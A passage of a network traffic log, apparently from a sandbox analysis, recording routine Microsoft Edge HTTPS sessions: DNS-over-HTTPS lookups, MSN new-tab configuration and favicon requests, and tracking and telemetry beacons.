2025-01-09 13:41:05 UTC	468	IN	Data Raw: 00 00 81 80 00 01 00 01 00 00 00 01 03 77 77 77 07 67 73 74 61 74 69 63 03 63 6f 6d 00 00 01 00 01 c0 0c 00 01 00 01 00 00 00 93 00 04 8e fb 29 03 00 00 29 04 d0 00 00 00 00 01 98 00 0c 01 94 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: wwwgstaticcom))

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
5	192.168.2.4	49790	172.64.41.3	443	8176	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-09 13:41:05 UTC	245	OUT	POST /dns-query HTTP/1.1 Host: chrome.cloudflare-dns.com Connection: keep-alive Content-Length: 128 Accept: application/dns-message Accept-Language: * User-Agent: Chrome Accept-Encoding: identity Content-Type: application/dns-message
2025-01-09 13:41:05 UTC	128	OUT	Data Raw: 00 00 01 00 00 01 00 00 00 00 00 01 03 77 77 77 07 67 73 74 61 74 69 63 03 63 6f 6d 00 00 01 00 01 00 00 29 10 00 00 00 00 00 00 54 00 0c 00 50 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: wwwgstaticcom)TP
2025-01-09 13:41:05 UTC	247	IN	HTTP/1.1 200 OK Server: cloudflare Date: Thu, 09 Jan 2025 13:41:05 GMT Content-Type: application/dns-message Connection: close Access-Control-Allow-Origin: * Content-Length: 468 CF-RAY: 8ff4d7c43dbc42ca-EWR alt-svc: h3=":443"; ma=86400
2025-01-09 13:41:05 UTC	468	IN	Data Raw: 00 00 81 80 00 01 00 01 00 00 00 01 03 77 77 77 07 67 73 74 61 74 69 63 03 63 6f 6d 00 00 01 00 01 c0 0c 00 01 00 01 00 00 01 00 00 04 8e fb 28 e3 00 00 29 04 d0 00 00 00 00 01 98 00 0c 01 94 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: wwwgstaticcom()

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
6	192.168.2.4	49791	172.64.41.3	443	8176	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-09 13:41:05 UTC	245	OUT	POST /dns-query HTTP/1.1 Host: chrome.cloudflare-dns.com Connection: keep-alive Content-Length: 128 Accept: application/dns-message Accept-Language: * User-Agent: Chrome Accept-Encoding: identity Content-Type: application/dns-message
2025-01-09 13:41:05 UTC	128	OUT	Data Raw: 00 00 01 00 00 01 00 00 00 00 00 01 03 77 77 77 07 67 73 74 61 74 69 63 03 63 6f 6d 00 00 01 00 01 00 00 29 10 00 00 00 00 00 00 54 00 0c 00 50 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: wwwgstaticcom)TP
2025-01-09 13:41:05 UTC	247	IN	HTTP/1.1 200 OK Server: cloudflare Date: Thu, 09 Jan 2025 13:41:05 GMT Content-Type: application/dns-message Connection: close Access-Control-Allow-Origin: * Content-Length: 468 CF-RAY: 8ff4d7c4ae3643aa-EWR alt-svc: h3=":443"; ma=86400
2025-01-09 13:41:05 UTC	468	IN	Data Raw: 00 00 81 80 00 01 00 01 00 00 00 01 03 77 77 77 07 67 73 74 61 74 69 63 03 63 6f 6d 00 00 01 00 01 c0 0c 00 01 00 01 00 00 01 21 00 04 8e fb 28 e3 00 00 29 04 d0 00 00 00 00 01 98 00 0c 01 94 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: wwwgstaticcom!()

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
7	192.168.2.4	49823	184.28.190.59	443	8176	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-09 13:41:07 UTC	2843	OUT	GET /resolver/api/resolve/v3/config/?expType=AppConfig&expInstance=default&apptype=edgeChromium&v=20250109.199&targetScope={%22audienceMode%22:%22adult%22,%22browser%22:{%22browserType%22:%22edgeChromium%22,%22version%22:%22117%22,%22ismobile%22:%22false%22},%22deviceFormFactor%22:%22desktop%22,%22domain%22:%22ntp.msn.com%22,%22locale%22:{%22content%22:{%22language%22:%22en%22,%22market%22:%22us%22},%22display%22:{%22language%22:%22en%22,%22market%22:%22us%22}},%22os%22:%22windows%22,%22platform%22:%22web%22,%22pageType%22:%22dhp%22,%22pageExperiments%22:[%22prg-1s-twid%22,%22prg-1s-workid%22,%22prg-1sw-agfspf1%22,%22prg-1sw-aitt-dt%22,%22prg-1sw-bg-p2%22,%22prg-1sw-cc-calfeedi%22,%22prg-1sw-cgl1qr%22,%22prg-1sw-cmevlt%22,%22prg-1sw-crypinf%22,%22prg-1sw-cryptren%22,%22prg-1sw-ldny-transit%22,%22prg-1sw-reclaim%22,%22prg-1sw-reclaim2%22,%22prg-1sw-sa-capconf2t3%22,%22prg-1sw-sa-capwp1t5%22,%22prg-1sw-sa-dnet%22,%22prg-1sw-sa-sp7-tcc%22,%22prg-1sw-saccunifyv2t1%22,%22prg-1sw-sagervunipa%22,%22prg-1sw-tbrfltr%2 [TRUNCATED] Host: assets.msn.com Connection: keep-alive sec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 sec-ch-ua-platform: "Windows" Accept: / Origin: https://ntp.msn.com Sec-Fetch-Site: same-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2025-01-09 13:41:07 UTC	1806	IN	HTTP/1.1 200 OK Content-Type: application/json; charset=utf-8 Server: Kestrel X-CRS-BuildVersion: 20241220.4_master X-CRS-Env: Production X-AS-SuppressSetCookie: 1 nel-report-to: {"group":"network-errors","max_age":604800,"endpoints":[{"url":"https://deff.nelreports.net/api/report?cat=msn"}]} Accept-CH: Sec-CH-UA-Bitness, Sec-CH-UA-Arch, Sec-CH-UA-Full-Version, Sec-CH-UA-Mobile, Sec-CH-UA-Model, Sec-CH-UA-Platform-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Platform, Sec-CH-UA, UA-Bitness, UA-Arch, UA-Full-Version, UA-Mobile, UA-Model, UA-Platform-Version, UA-Platform, UA X-Ceto-ref: 677fd1f3d0314d13a5878115f5fa3a8b\|AFD:677fd1f3d0314d13a5878115f5fa3a8b\|2025-01-09T13:41:07.569Z Cache-Control: public, max-age=1728000 Date: Thu, 09 Jan 2025 13:41:07 GMT Transfer-Encoding: chunked Connection: close Connection: Transfer-Encoding Set-Cookie: sptmarket=en-gb\|\|us\|en-us\|en-us\|en\|\|cf=8\|RefA=677fd1f3d0314d13a5878115f5fa3a8b.RefC=2025-01-09T13:41:07Z; expires=Sat, 09 Jan 2027 13:41:07 GMT; path=/ Alt-Svc: h3=":443"; ma=86400 Akamai-Request-BC: [a=184.28.190.52,b=1001040550,c=g,n=US_NJ_SECAUCUS,o=20940],[c=c,n=US_NJ_EDISON,o=20940],[a=52.142.29.118,c=o] Server-Timing: clientrtt; dur=2, clienttt; dur=73, origin; dur=33, cdntime; dur=40, wpo;dur=0,1s;dur=0 Akamai-Cache-Status: Miss from child, Miss from parent Akamai-Server-IP: 184.28.190.52 Akamai-Request-ID: 3baaaaa6 Access-Control-Allow-Credentials: true Access-Control-Allow-Origin: https://ntp.msn.com report-to: {"group":"network-errors","max_age":604800,"endpoints":[{"url":"https://deff.nelreports.net/api/report?cat=msn"}]} nel: {"report_to":"network-errors","max_age":604800,"success_fraction":0.001,"failure_fraction":0.1} Timing-Allow-Origin: * Akamai-GRN: 0.34be1cb8.1736430067.3baaaaa6 Vary: Origin
2025-01-09 13:41:07 UTC	14578	IN	Data Raw: 30 30 30 30 36 30 30 30 0d 0a 7b 22 63 6f 6e 66 69 67 73 22 3a 7b 22 41 70 70 43 6f 6e 66 69 67 2f 64 65 66 61 75 6c 74 22 3a 7b 22 70 72 6f 70 65 72 74 69 65 73 22 3a 7b 22 72 6f 6f 74 45 78 70 65 72 69 65 6e 63 65 22 3a 7b 22 63 6f 6e 66 69 67 52 65 66 22 3a 7b 22 65 78 70 65 72 69 65 6e 63 65 54 79 70 65 22 3a 22 45 64 67 65 43 68 72 6f 6d 69 75 6d 50 61 67 65 57 43 22 2c 22 69 6e 73 74 61 6e 63 65 53 72 63 22 3a 22 64 65 66 61 75 6c 74 22 7d 7d 7d 7d 2c 22 45 64 67 65 43 68 72 6f 6d 69 75 6d 50 61 67 65 57 43 2f 64 65 66 61 75 6c 74 22 3a 7b 22 70 72 6f 70 65 72 74 69 65 73 22 3a 7b 22 64 61 74 61 43 6f 6e 6e 65 63 74 6f 72 73 22 3a 5b 7b 22 73 63 72 65 65 6e 57 69 64 74 68 22 3a 22 41 6e 79 22 2c 22 63 68 69 6c 64 72 65 6e 22 3a 5b 7b 22 69 6e 73 74 Data Ascii: 00006000{"configs":{"AppConfig/default":{"properties":{"rootExperience":{"configRef":{"experienceType":"EdgeChromiumPageWC","instanceSrc":"default"}}}},"EdgeChromiumPageWC/default":{"properties":{"dataConnectors":[{"screenWidth":"Any","children":[{"inst
2025-01-09 13:41:07 UTC	10008	IN	Data Raw: 62 75 74 69 6f 6e 22 3a 22 41 6d 61 7a 69 6e 67 20 41 65 72 69 61 6c 20 41 67 65 6e 63 79 2f 4f 66 66 73 65 74 20 62 79 20 53 68 75 74 74 65 72 73 74 6f 63 6b 22 2c 22 69 6d 61 67 65 22 3a 7b 22 69 31 30 30 22 3a 22 41 41 31 31 4d 44 65 4e 22 2c 22 69 32 34 30 22 3a 22 41 41 31 31 4e 39 6b 71 22 2c 22 69 37 32 30 22 3a 22 41 41 31 31 4e 62 4c 42 22 2c 22 69 31 30 38 30 22 3a 22 41 41 31 31 4e 32 4c 58 22 2c 22 69 31 34 34 30 22 3a 22 41 41 31 31 4d 53 6b 47 22 2c 22 69 32 31 36 30 22 3a 22 41 41 31 31 4e 65 79 71 22 7d 7d 2c 7b 22 61 74 74 72 69 62 75 74 69 6f 6e 22 3a 22 41 57 4c 20 49 6d 61 67 65 73 2f 4f 66 66 73 65 74 20 62 79 20 53 68 75 74 74 65 72 73 74 6f 63 6b 22 2c 22 69 6d 61 67 65 22 3a 7b 22 69 31 30 30 22 3a 22 41 41 31 31 4e 62 4c 43 22 2c Data Ascii: bution":"Amazing Aerial Agency/Offset by Shutterstock","image":{"i100":"AA11MDeN","i240":"AA11N9kq","i720":"AA11NbLB","i1080":"AA11N2LX","i1440":"AA11MSkG","i2160":"AA11Neyq"}},{"attribution":"AWL Images/Offset by Shutterstock","image":{"i100":"AA11NbLC",
2025-01-09 13:41:07 UTC	2	IN	Data Raw: 0d 0a Data Ascii:
2025-01-09 13:41:07 UTC	16384	IN	Data Raw: 30 30 30 30 34 33 46 44 0d 0a 69 31 30 38 30 22 3a 22 41 41 4f 45 35 38 42 22 2c 22 69 31 34 34 30 22 3a 22 41 41 4f 45 63 67 65 22 2c 22 69 32 31 36 30 22 3a 22 41 41 4f 45 68 58 58 22 7d 2c 22 76 69 64 65 6f 22 3a 7b 22 76 32 34 30 22 3a 22 35 31 61 34 66 34 64 64 2d 38 66 62 66 2d 34 65 37 65 2d 61 63 30 66 2d 38 34 65 63 65 66 61 38 38 38 36 39 2f 35 36 64 38 65 35 37 38 2d 34 32 31 34 2d 34 30 65 61 2d 62 32 36 31 2d 34 65 38 31 61 63 61 61 32 30 39 63 22 2c 22 76 37 32 30 22 3a 22 38 37 39 39 36 32 35 38 2d 37 31 30 64 2d 34 37 35 39 2d 39 63 35 65 2d 30 35 39 33 64 30 63 63 62 33 38 66 2f 34 63 61 30 36 61 66 65 2d 36 33 33 39 2d 34 32 64 62 2d 61 39 38 62 2d 36 32 31 64 33 34 39 33 34 64 37 64 22 2c 22 76 31 30 38 30 22 3a 22 66 65 31 33 66 31 33 Data Ascii: 000043FDi1080":"AAOE58B","i1440":"AAOEcge","i2160":"AAOEhXX"},"video":{"v240":"51a4f4dd-8fbf-4e7e-ac0f-84ecefa88869/56d8e578-4214-40ea-b261-4e81acaa209c","v720":"87996258-710d-4759-9c5e-0593d0ccb38f/4ca06afe-6339-42db-a98b-621d34934d7d","v1080":"fe13f13
2025-01-09 13:41:07 UTC	1033	IN	Data Raw: 63 2d 66 34 63 34 2d 34 38 65 31 2d 61 62 34 36 2d 62 36 31 33 65 65 31 36 63 37 35 62 2f 37 39 35 65 62 33 38 64 2d 34 33 34 33 2d 34 39 66 62 2d 38 33 65 66 2d 30 36 37 64 61 37 35 38 34 31 62 34 22 2c 22 76 37 32 30 22 3a 22 65 31 62 35 38 63 34 33 2d 63 62 30 38 2d 34 36 35 61 2d 62 31 63 62 2d 36 31 32 31 64 38 66 65 66 64 32 62 2f 66 66 61 62 38 31 39 63 2d 35 38 35 34 2d 34 30 65 35 2d 39 31 33 33 2d 65 30 32 61 33 37 66 38 37 62 38 66 22 2c 22 76 31 30 38 30 22 3a 22 66 64 62 30 62 34 33 34 2d 35 31 31 39 2d 34 64 62 38 2d 62 30 62 33 2d 36 66 31 32 62 61 30 38 33 34 35 63 2f 63 31 35 35 35 30 63 65 2d 66 66 66 37 2d 34 39 30 34 2d 62 32 35 63 2d 33 66 63 35 30 63 33 62 62 61 64 37 22 2c 22 76 31 34 34 30 22 3a 22 65 65 65 66 63 61 65 64 2d 35 33 Data Ascii: c-f4c4-48e1-ab46-b613ee16c75b/795eb38d-4343-49fb-83ef-067da75841b4","v720":"e1b58c43-cb08-465a-b1cb-6121d8fefd2b/ffab819c-5854-40e5-9133-e02a37f87b8f","v1080":"fdb0b434-5119-4db8-b0b3-6f12ba08345c/c15550ce-fff7-4904-b25c-3fc50c3bbad7","v1440":"eeefcaed-53
2025-01-09 13:41:07 UTC	16384	IN	Data Raw: 30 30 30 30 34 30 30 30 0d 0a 68 69 72 5f 4d 6f 75 6b 61 72 7a 65 6c 2f 41 6d 61 7a 69 6e 67 20 41 65 72 69 61 6c 20 41 67 65 6e 63 79 22 2c 22 66 69 72 73 74 46 72 61 6d 65 22 3a 7b 22 69 31 30 30 22 3a 22 41 41 31 32 51 38 77 32 22 2c 22 69 32 34 30 22 3a 22 41 41 31 32 51 38 77 35 22 2c 22 69 37 32 30 22 3a 22 41 41 31 32 50 7a 5a 4f 22 2c 22 69 31 30 38 30 22 3a 22 41 41 31 32 50 46 6b 43 22 2c 22 69 31 34 34 30 22 3a 22 41 41 31 32 50 72 50 35 22 2c 22 69 32 31 36 30 22 3a 22 41 41 31 32 50 46 6b 44 22 7d 2c 22 76 69 64 65 6f 22 3a 7b 22 76 32 34 30 22 3a 22 38 62 64 64 66 30 39 37 2d 36 35 33 33 2d 34 63 66 36 2d 39 62 64 31 2d 66 33 32 61 32 64 37 66 31 61 31 37 2f 36 30 37 31 31 37 66 35 2d 32 38 61 33 2d 34 35 66 39 2d 38 61 31 36 2d 39 37 65 63 Data Ascii: 00004000hir_Moukarzel/Amazing Aerial Agency","firstFrame":{"i100":"AA12Q8w2","i240":"AA12Q8w5","i720":"AA12PzZO","i1080":"AA12PFkC","i1440":"AA12PrP5","i2160":"AA12PFkD"},"video":{"v240":"8bddf097-6533-4cf6-9bd1-f32a2d7f1a17/607117f5-28a3-45f9-8a16-97ec
2025-01-09 13:41:07 UTC	12	IN	Data Raw: 65 20 53 79 6e 65 76 79 72 20 0d 0a Data Ascii: e Synevyr
2025-01-09 13:41:07 UTC	16384	IN	Data Raw: 30 30 30 30 34 30 30 30 0d 0a 69 6e 20 74 68 65 20 43 61 72 70 61 74 68 69 61 6e 73 20 4d 6f 75 6e 74 61 69 6e 73 2c 20 55 6b 72 61 69 6e 65 22 2c 22 76 69 64 65 6f 31 35 36 22 3a 22 53 6f 75 74 68 20 53 74 61 63 6b 20 4c 69 67 68 74 68 6f 75 73 65 20 6e 65 61 72 20 48 6f 6c 79 68 65 61 64 20 69 6e 20 57 61 6c 65 73 22 2c 22 76 69 64 65 6f 31 35 37 22 3a 22 53 74 61 72 6c 69 6e 67 73 20 6d 75 72 6d 61 72 61 74 69 6f 6e 20 6e 65 61 72 20 50 61 6c 61 63 65 20 50 69 65 72 2c 20 42 72 69 67 68 74 6f 6e 2c 20 45 6e 67 6c 61 6e 64 22 2c 22 76 69 64 65 6f 31 35 38 22 3a 22 42 61 72 6e 20 6f 77 6c 20 69 6e 20 61 20 66 69 65 6c 64 20 6f 66 20 70 6f 70 70 69 65 73 22 2c 22 76 69 64 65 6f 31 35 39 22 3a 22 53 70 72 69 6e 67 62 6f 6b 73 20 69 6e 20 4b 67 61 6c 61 67 Data Ascii: 00004000in the Carpathians Mountains, Ukraine","video156":"South Stack Lighthouse near Holyhead in Wales","video157":"Starlings murmaration near Palace Pier, Brighton, England","video158":"Barn owl in a field of poppies","video159":"Springboks in Kgalag
2025-01-09 13:41:07 UTC	12	IN	Data Raw: 72 6f 75 6e 64 22 2c 22 70 72 0d 0a Data Ascii: round","pr
2025-01-09 13:41:07 UTC	16384	IN	Data Raw: 30 30 30 30 34 30 30 30 0d 0a 6f 6d 6f 74 65 64 4c 69 6e 6b 73 22 3a 22 53 68 6f 77 20 70 72 6f 6d 6f 74 65 64 20 6c 69 6e 6b 73 22 2c 22 71 75 69 63 6b 42 72 69 65 66 22 3a 22 53 68 6f 77 20 6e 6f 74 69 66 69 63 61 74 69 6f 6e 20 63 61 72 64 22 2c 22 6f 70 65 6e 49 6e 4e 65 77 54 61 62 22 3a 22 4f 70 65 6e 20 69 6e 20 61 20 6e 65 77 20 74 61 62 22 2c 22 71 75 69 63 6b 4c 69 6e 6b 73 44 72 6f 70 44 6f 77 6e 22 3a 22 51 75 69 63 6b 20 6c 69 6e 6b 73 22 2c 22 71 75 69 63 6b 4c 69 6e 6b 73 41 6e 64 53 65 61 72 63 68 22 3a 22 51 75 69 63 6b 20 6c 69 6e 6b 73 20 5c 75 30 30 32 36 20 73 65 61 72 63 68 22 2c 22 71 75 69 63 6b 4c 69 6e 6b 73 31 52 6f 77 22 3a 22 31 20 72 6f 77 22 2c 22 71 75 69 63 6b 4c 69 6e 6b 73 32 52 6f 77 73 22 3a 22 32 20 72 6f 77 73 22 2c Data Ascii: 00004000omotedLinks":"Show promoted links","quickBrief":"Show notification card","openInNewTab":"Open in a new tab","quickLinksDropDown":"Quick links","quickLinksAndSearch":"Quick links \u0026 search","quickLinks1Row":"1 row","quickLinks2Rows":"2 rows",

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
8	192.168.2.4	49824	184.28.190.59	443	8176	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-09 13:41:07 UTC	633	OUT	HEAD /statics/icons/favicon.ico HTTP/1.1 Host: assets.msn.com Connection: keep-alive Pragma: no-cache Cache-Control: no-cache sec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 sec-ch-ua-platform: "Windows" Accept: / Origin: https://ntp.msn.com Sec-Fetch-Site: same-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2025-01-09 13:41:07 UTC	984	IN	HTTP/1.1 200 OK Content-Type: image/x-icon ETag: "b1a1d42024fa6e32ed87f61fd9507274:1574197118.459201" Last-Modified: Tue, 19 Nov 2019 20:58:17 GMT Server: AkamaiNetStorage Date: Thu, 09 Jan 2025 13:41:07 GMT Connection: close Alt-Svc: h3=":443"; ma=86400 Akamai-Request-BC: [a=184.28.190.55,b=245537045,c=g,n=US_NJ_SECAUCUS,o=20940] Server-Timing: clientrtt; dur=2, clienttt; dur=0, origin; dur=0, cdntime; dur=0, wpo;dur=0,1s;dur=0 Akamai-Cache-Status: Hit from child Akamai-Server-IP: 184.28.190.55 Akamai-Request-ID: ea29915 Access-Control-Allow-Credentials: true Access-Control-Allow-Origin: https://ntp.msn.com Cache-Control: public, max-age=31536000 report-to: {"group":"network-errors","max_age":604800,"endpoints":[{"url":"https://deff.nelreports.net/api/report?cat=msn"}]} nel: {"report_to":"network-errors","max_age":604800,"success_fraction":0.001,"failure_fraction":0.1} Timing-Allow-Origin: * Akamai-GRN: 0.37be1cb8.1736430067.ea29915 Vary: Origin

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
9	192.168.2.4	49776	18.244.18.38	443	8176	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-09 13:41:08 UTC	925	OUT	GET /b?rn=1736430067774&c1=2&c2=3000001&cs_ucfr=1&c7=https%3A%2F%2Fntp.msn.com%2Fedge%2Fntp%3Flocale%3Den-GB%26title%3DNew%2Btab%26dsp%3D1%26sp%3DBing%26isFREModalBackground%3D1%26startpage%3D1%26PC%3DU531%26ocid%3Dmsedgdhp%26mkt%3Den-us&c8=New+tab&c9=&cs_fpid=3AADB05FC3906D36247DA530C2F26CF4&cs_fpit=o&cs_fpdm=null&cs_fpdt=null HTTP/1.1 Host: sb.scorecardresearch.com Connection: keep-alive sec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 sec-ch-ua-platform: "Windows" Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2025-01-09 13:41:08 UTC	956	IN	HTTP/1.1 302 Found Content-Length: 0 Connection: close Date: Thu, 09 Jan 2025 13:41:08 GMT Location: /b2?rn=1736430067774&c1=2&c2=3000001&cs_ucfr=1&c7=https%3A%2F%2Fntp.msn.com%2Fedge%2Fntp%3Flocale%3Den-GB%26title%3DNew%2Btab%26dsp%3D1%26sp%3DBing%26isFREModalBackground%3D1%26startpage%3D1%26PC%3DU531%26ocid%3Dmsedgdhp%26mkt%3Den-us&c8=New+tab&c9=&cs_fpid=3AADB05FC3906D36247DA530C2F26CF4&cs_fpit=o&cs_fpdm=null&cs_fpdt=null set-cookie: UID=1B69ceef9c01beafbf02b721736430068; SameSite=None; Secure; domain=.scorecardresearch.com; path=/; max-age=33696000 set-cookie: XID=1B69ceef9c01beafbf02b721736430068; SameSite=None; Secure; Partitioned; domain=.scorecardresearch.com; path=/; max-age=33696000 Accept-CH: UA, Platform, Arch, Model, Mobile X-Cache: Miss from cloudfront Via: 1.1 5d328d2e734cff11e41c897ec72f465e.cloudfront.net (CloudFront) X-Amz-Cf-Pop: FRA56-P11 X-Amz-Cf-Id: F_plYaZKSZQCxcptzg7bG3OE3b2EbpuITF-t2cL3rL58tb_1SHnspg==

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
10	192.168.2.4	49833	20.189.173.28	443	8176	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-09 13:41:09 UTC	1082	OUT	POST /OneCollector/1.0?cors=true&content-type=application/x-json-stream&client-id=NO_AUTH&client-version=1DS-Web-JS-3.2.8&apikey=0ded60c75e44443aa3484c42c1c43fe8-9fc57d3f-fdac-4bcf-b927-75eafe60192e-7279&upload-time=1736430067772&time-delta-to-apply-millis=use-collector-delta&w=0&anoncknm=app_anon&NoResponseBody=true HTTP/1.1 Host: browser.events.data.msn.com Connection: keep-alive Content-Length: 3857 sec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-platform: "Windows" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 Content-Type: text/plain;charset=UTF-8 Accept: / Origin: https://ntp.msn.com Sec-Fetch-Site: same-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8 Cookie: _C_ETH=1; USRLOC=; MUID=3AADB05FC3906D36247DA530C2F26CF4; _EDGE_S=F=1&SID=1568EDC37D376DE73348F8AC7CFA6C29; _EDGE_V=1
2025-01-09 13:41:09 UTC	3857	OUT	Data Raw: 7b 22 6e 61 6d 65 22 3a 22 4d 53 2e 4e 65 77 73 2e 57 65 62 2e 50 61 67 65 56 69 65 77 22 2c 22 74 69 6d 65 22 3a 22 32 30 32 35 2d 30 31 2d 30 39 54 31 33 3a 34 31 3a 30 37 2e 37 36 39 5a 22 2c 22 76 65 72 22 3a 22 34 2e 30 22 2c 22 69 4b 65 79 22 3a 22 6f 3a 30 64 65 64 36 30 63 37 35 65 34 34 34 34 33 61 61 33 34 38 34 63 34 32 63 31 63 34 33 66 65 38 22 2c 22 65 78 74 22 3a 7b 22 73 64 6b 22 3a 7b 22 76 65 72 22 3a 22 31 44 53 2d 57 65 62 2d 4a 53 2d 33 2e 32 2e 38 22 2c 22 73 65 71 22 3a 31 2c 22 69 6e 73 74 61 6c 6c 49 64 22 3a 22 65 31 36 33 34 39 65 34 2d 66 36 33 38 2d 34 35 64 33 2d 38 63 61 61 2d 33 35 30 64 30 31 32 38 31 30 38 35 22 2c 22 65 70 6f 63 68 22 3a 22 34 32 37 36 30 34 31 32 33 39 22 7d 2c 22 61 70 70 22 3a 7b 22 6c 6f 63 61 6c 65 Data Ascii: {"name":"MS.News.Web.PageView","time":"2025-01-09T13:41:07.769Z","ver":"4.0","iKey":"o:0ded60c75e44443aa3484c42c1c43fe8","ext":{"sdk":{"ver":"1DS-Web-JS-3.2.8","seq":1,"installId":"e16349e4-f638-45d3-8caa-350d01281085","epoch":"4276041239"},"app":{"locale
